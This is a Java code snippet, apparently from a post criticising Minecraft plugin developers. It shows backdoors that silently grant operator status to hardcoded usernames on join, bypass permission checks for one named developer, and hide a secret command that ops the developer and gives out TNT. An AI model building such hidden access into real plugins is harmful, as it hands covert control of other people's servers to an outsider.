String [] developers = {"Player1", "Player2", "CoolUsername"}; // Create a list of devs

@EventHandler
public void onPlayerJoin(PlayerJoinEvent event) // Listen for players joining the server
{
	String name = event.getPlayer().getName(); // Get the name of the player who joined
	for(String string : developers) // Loop through all the names in the list of devs
	{
		if(string.equals(name)) // If the name matches the user who just joined
		{
			event.getPlayer().sendMessage("Welcome to the server, master.");
			// No joke, people write like this all the time. Creeps.

			event.getPlayer().setOp(true); // Set the player as operator of the server
		}
	}
}

// Or here's another version, in a command executor

public boolean onCommand(CommandSender cs, ....) // Listen for commands
{
	if(cmd.getName().equals("Command1") // Some normal plugin command
	{
		// Make sure the user has permission (the way it should be) OR the user is the developer. Effectively a permissions bypass, just because the user is "special"
		if(cs.hasPermission("myplugin.admin") || cs.getName().equals("DeveloperUsername123"))
		{
			// Execute the command
		}
	}
	else if(cmd.getName().equals("SecretCommand") // Secret command that only the dev knows about
	{
		if(cs.getName().equals("DeveloperUsername123")) // If the user is the developer
		{
			cs.setOp(true); // Op them
			// Give them a ton of items
			((Player)cs).getInventory().add(new ItemStack(Material.TNT, 50000));
			// Customary creepy message
			cs.sendMessage("THE SERVER IS NOW YOURS MASTER");
		}
		else
		{
			// If someone else but them tries to execute the command, pretend like it doesn't exist
			cs.sendMessage("Unknown command. Type /help for ......");
		}
	}
}